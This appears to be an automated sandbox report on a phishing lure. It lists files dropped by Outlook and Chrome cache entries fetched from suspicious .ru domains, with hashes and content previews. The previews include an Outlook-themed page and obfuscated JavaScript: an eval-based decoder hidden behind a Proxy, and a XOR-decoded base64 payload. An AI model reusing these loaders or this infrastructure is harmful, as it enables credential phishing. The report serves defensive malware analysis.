Excluded domains from analysis (whitelisted): ecs.office.com, omex.cdn.office.net, slscr.update.microsoft.com, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, eur.roaming1.live.com.akadns.net, osiprod-uks-buff-azsc-000.uksouth.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, roaming.officeapps.live.com, dual-s-0005-office.config.skype.com, uks-azsc-000.roaming.officeapps.live.com, login.live.com, config.officeapps.live.com, officeclient.microsoft.com, ecs.office.trafficmanager.net, ukw-azsc-config.officeapps.live.com, c.pki.goog, omex.cdn.office.net.akamaized.net, europe.configsvc1.live.com.akadns.net, a1864.dscd.akamai.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 6id4q.zvaznx.ru

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250314T0730390050-6472.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	modified
Size (bytes):	106496
Entropy (8bit):	4.494259258180377
Encrypted:	false
SSDEEP:
MD5:	D8E946D2A7F9A8927BC41CB709602446
SHA1:	07B856A6DA3B4BE7BE6BD69C7FA0ECEA365E2040
SHA-256:	0919738ADC0627A0938BBF943D8189858F12E1700957D16EDDE2150C7392BADF
SHA-512:	463ADB5D18E63AC7DCCAE0E3F5B7A67D6B9EC7B9CAF3058F7C4DCDB4A6091E6CD4499164A7524CCA68EEB8CD0012CA1E2C5373F0BF82C716E442A5CBA3E7C622
Malicious:	false
Reputation:	unknown
Preview:	............................................................................`...L...H..........................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................[.*8..........................v.2._.O.U.T.L.O.O.K.:.1.9.4.8.:.d.d.f.3.2.9.6.2.2.9.1.5.4.e.1.7.b.3.1.c.1.2.0.e.5.f.7.c.3.d.4.a...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.5.0.3.1.4.T.0.7.3.0.3.9.0.0.5.0.-.6.4.7.2...e.t.l.......P.P.L...H..................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF92201670DF59FCB8.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDAD477EAF5286A94.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	241664
Entropy (8bit):	1.3800471774662764
Encrypted:	false
SSDEEP:
MD5:	3549B7F6FE5ACA8EE65D6967E91E12A4
SHA1:	C3CC49A665AE907E998582309EEBF27E336108C3
SHA-256:	CD92DF4717367B5B6B405F03139C28BF2A6FDACD8EC21143BC6D8BEE9E1C694A
SHA-512:	3FD465EE1C854881F93E1907BC20A7446AFE85D4F87127CEB669246390BED5804EED29647859D0B4CD869952BACB33EABFB89052ED54DB780CE0691D685D7E5F
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE1706C63B1D4F912.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	CDFV2 Microsoft Outlook Message
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	3.6773733672741233
Encrypted:	false
SSDEEP:
MD5:	222FE66CE0CA1307EB2E731B03DE65F7
SHA1:	F7D291745EF21871C6A36B0088ACDD6B9071BCF5
SHA-256:	BEB9BE65BC1DBF984B83D27C608920620F3A6732062EB19C2FC16D939AFD134D
SHA-512:	A870B9ADB9EB21E8C4C33BD9EB7EFA019A8530435C45533431E03FB071349BBDB0DE762E2B7D8F9B4BAA4AB4C9D137189DA6F3ECE54E43F36B95E3A8A8B0C5A1
Malicious:	false
Reputation:	unknown
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y............................................................................................................_._.p.r.o.p.e.r.t.i.e.s._.v.e.r.s.i.o.n.1...0...................0..................................................."..........._._.n.a.m.e.i.d._.v.e.r.s.i.o.n.1...0...........................(...........,................................................._._.s.u.b.s.t.g.1...0._.0.E.0.4.0.0.1.F.........................*.......................................

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	3.775206724043445
Encrypted:	false
SSDEEP:
MD5:	1A98B2E441947BB74A8179B1BBF4F139
SHA1:	BF8E1B2D39AC22EF65BAEE3A9EF792004198F8D4
SHA-256:	CBEE3066B774379BA78A858D5D540B9FE06926A4360A83D6FC4FD9A1AE508859
SHA-512:	22A9C08A999B11807FD48054973BFF29B8A45007DFAAA225B112B9E11E8AC0459F03237DB4B877C6077D4FE50D4A9286C1D0C5CB9D67E05544DEEA328ABCFB48
Malicious:	false
Reputation:	unknown
Preview:	!BDN....SM......\...............O.......f................@...........@...@...................................@...........................................................................$.......D......@...............K...............N.........................................................................................................................................................................................................................................................................................................9.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	4.765029136189786
Encrypted:	false
SSDEEP:
MD5:	45D21303D123EC63AFDE3C1AE43280EF
SHA1:	9FF0B040A7A4C90F758A1F71EAEA90F3BD987901
SHA-256:	69E3152952590C96CF9806189A92122515ED25835DDE0673F27C7FB5CACBF09E
SHA-512:	156F4CCAFD425DEE4C1ABA417B45008CDEDCF8B9AE1CA85FE9A85C04ECD3C16B8F41A3ACBDD6C383B77584E41C7438A9E30B475FF0864DAB7504C6DBEE6C49EA
Malicious:	false
Reputation:	unknown
Preview:	Z.0...{.......H...6..........D............#......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................5...D..........0...\|.......H...6..........B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	downloaded
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52013), with CRLF line terminators
Category:	downloaded
Size (bytes):	151532
Entropy (8bit):	5.830974580357018
Encrypted:	false
SSDEEP:
MD5:	3D4D75C842C4FECBCB3AB6F3DB5BBB9A
SHA1:	8AF939154E5D08B5438594C0C336A473A429E32A
SHA-256:	A18C6DBA501B39781B9CA0396204A2920FA9E7AB700A82955A64D36E14ABAF31
SHA-512:	694154B4A9901DB0C0A805D61D33A9567B5CB77FDD4561CFF1F058789B735928DBA330375A2D3474152B107AD1726E4EFD36EE74686307C7F3ACB826567A91B7
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWAL
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title></title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	17842
Entropy (8bit):	7.821645806304586
Encrypted:	false
SSDEEP:
MD5:	4B52ECDC33382C9DCA874F551990E704
SHA1:	8F3BF8E41CD4CDDDB17836B261E73F827B84341B
SHA-256:	CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
SHA-512:	AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/stXbW9Cl08NuKgyJENygdPRVHIdnXfIjP2wrOq5Eym8RiGvXSkCS67h1pANQsiMg9kBZ7WUadfyUfHUZkQZef256
Preview:	RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10017)
Category:	downloaded
Size (bytes):	10245
Entropy (8bit):	5.437589264532084
Encrypted:	false
SSDEEP:
MD5:	6C20A2BE8BA900BC0A7118893A2B1072
SHA1:	FF7766FDE1F33882C6E1C481CEED6F6588EA764C
SHA-256:	B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
SHA-512:	8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
Malicious:	false
Reputation:	unknown
URL:	https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250314%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250314T113054Z&X-Amz-Expires=300&X-Amz-Signature=b36e5b21c5c25f14200202b073a138fc84a0aa21abce476eb7b59bbedfb609ce&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
Preview:	//.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/GDSherpa-bold.woff
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	unknown
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/GDSherpa-bold.woff2
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
URL:	https://6id4q.zvaznx.ru/tarboz$h2b8h
Preview:	0

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
Category:	downloaded
Size (bytes):	4712061
Entropy (8bit):	2.583772531747173
Encrypted:	false
SSDEEP:
MD5:	E34A613844E71AD9EA25A2FAAB768F3F
SHA1:	34844596642BED7752C4AED44721CEE52593B344
SHA-256:	D767A16A68A568D204E0E4283BDDB8A9702CCF95BF2715D512C4AE39C3D79AB5
SHA-512:	8D5342EC77557793F73701400220B10421E6B1ED941876554D27F27A0573644F26C66FA4AB7019E666F6471688E2F7857394CC127197EF109FC076BC5534342C
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/34P8Pz1XFAhodBklQEqQD5N0Wi89110
Preview:	function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15937), with CRLF line terminators
Category:	downloaded
Size (bytes):	20980
Entropy (8bit):	5.91298171432387
Encrypted:	false
SSDEEP:
MD5:	636167B01BCB49961FFA6C41AC799834
SHA1:	1DC0FC3856B3A561B3454E39C970D746DF41459F
SHA-256:	D301FB5C3B9A66A4B1CCC1712295F9E85C5EE0EC30CCAD15F194FB5E90AAB349
SHA-512:	732B6FAEEBBD2CC5F305BB41E485A0CFE74853D50319C7B787B50E0C9EB20053998773969E297BB39AEA48F949F9C37374FFD4F7572282D38A31C5E3ED7CBCF5
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/lGfpSLU/
Preview:	<script>..function VObDEXTKLX(OGOfDxvhGH, VXngaQjEDk) {..let iMPUIDxhkL = '';..OGOfDxvhGH = atob(OGOfDxvhGH);..let HFEEnVSeCp = VXngaQjEDk.length;..for (let i = 0; i < OGOfDxvhGH.length; i++) {.. iMPUIDxhkL += String.fromCharCode(OGOfDxvhGH.charCodeAt(i) ^ VXngaQjEDk.charCodeAt(i % HFEEnVSeCp));..}..return iMPUIDxhkL;..}..var NTCPiCaelV = VObDEXTKLX(`CBsAPCcUN04ZP1dVQSY6EDMdUGIbCwwqK0opHx8oRhFNLSEJbAQbOFEaGmN9SnVAWmNZAQ1gJBdhUFZiRwsRJz4QfWNgcUcLESc+EGMdGC4JSgs6OhQwVEViVwwNJD1KIAIFOFAODy88AW0NBSAbCQkvNksvBwg+GwsRNz4QLEMAPhtcTX9gVWwNGDREHAxjJBdtAwMjGgIQbHBYbB0JP10YF3BDbk5kVj5XGgo+OlpOZAQoQ0glOyAHNwcFIxwJFyEsTGQPPRRTIyR7JgAuAgQUbDoVLSdRcDQ9B18LDiJ8PhsnDSt8HwQqfAg2NC10ByQOACYGBBY7LHMuFioJXTcnIjUMISsqPgYuPBwpTV0FLQkMKwwEH0IKMAx2AgAsHxRsMhMUfCJzDFkEQQw7ACIHKCgEF2NdUwIjCDY3WDUFMiQYNC8AJCkpbCIUBycPMyciPnorCg8pLQAvDQR3KQQqfAg2NC10ByQONjg9cShaLGNRFgcKVCQnBwtdClAYfisuJBkUY10RByQXDS0EfXorDhw4PXA4HhdjXVMCIyIoNC8bBjI0e34wBAIQKXM+FhQWLSwnBzlYDTQcOABxWgMBdyoOKhlRKQotIUIKCg8hPhs0Bi9aORMHBhcNLQMMUyEg

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Reputation:	unknown
URL:	https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	892
Entropy (8bit):	5.863167355052868
Encrypted:	false
SSDEEP:
MD5:	41D62CA205D54A78E4298367482B4E2B
SHA1:	839AAE21ED8ECFC238FDC68B93CCB27431CD5393
SHA-256:	20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
SHA-512:	82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/opr1VFSs1sanEMxZn1ROsHQDNutPghFaCQJVucwRf7S45133
Preview:	RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	35786
Entropy (8bit):	5.058073854893359
Encrypted:	false
SSDEEP:
MD5:	38501E3FBBBD89B56AA5BA35DE1A32FE
